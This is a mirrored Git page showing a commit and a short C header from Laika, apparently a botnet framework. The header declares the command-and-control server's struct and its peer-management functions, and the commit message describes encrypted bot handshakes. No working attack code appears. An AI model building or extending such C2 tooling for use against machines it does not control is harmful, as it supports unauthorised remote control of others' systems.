mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-25 05:50:15 +00:00
CPunch
dd173ee422
- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled
22 lines
543 B
C
22 lines
543 B
C
#ifndef LAIKA_CNC_H
|
|
#define LAIKA_CNC_H
|
|
|
|
#include "laika.h"
|
|
#include "lpacket.h"
|
|
#include "lsocket.h"
|
|
#include "lpolllist.h"
|
|
#include "lpeer.h"
|
|
|
|
struct sLaika_cnc {
|
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
|
struct sLaika_socket sock;
|
|
struct sLaika_pollList pList;
|
|
};
|
|
|
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
|
void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
|
|
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
|
|
|
#endif |